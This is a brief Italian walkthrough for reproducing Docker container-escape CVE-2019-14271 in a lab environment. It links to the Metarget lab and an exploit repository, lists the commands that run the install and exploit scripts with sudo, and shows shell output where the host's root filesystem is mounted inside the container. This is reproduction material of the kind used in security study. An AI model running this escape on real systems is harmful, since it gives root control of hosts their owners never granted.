
Uno script automatico comodo e che fa risparmiare tempo per creare l'ambiente e sfruttarlo.
Uno script automatico comodo e che fa risparmiare tempo per costruire l'ambiente e sfruttarlo.
https://github.com/Metarget/metarget
https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271
https://github.com/thomasyang1207/Exploits/tree/master/CVE_2019_14271
chmod 777 Exploit.sh
chmod 777 Install_env.sh
sudo ./Install_env.sh
sudo ./Exploit.sh
Se l'immagine è già stata creata, esegui solo
Exploit.shper riutilizzarla.
Ora sei entrato nel container cve-14271 e vedi:
root@d9b5a334a0e9:/# ls
bin breakout home lib32 logs opt run sys var
boot dev host_fs lib64 media proc sbin tmp
break_logs etc lib libx32 mnt root srv usr
Entra in host_fs e scoprirai che la directory root dell'host è stata montata qui, riuscendo a evadere con successo. Puoi agire come utente root sulla macchina host.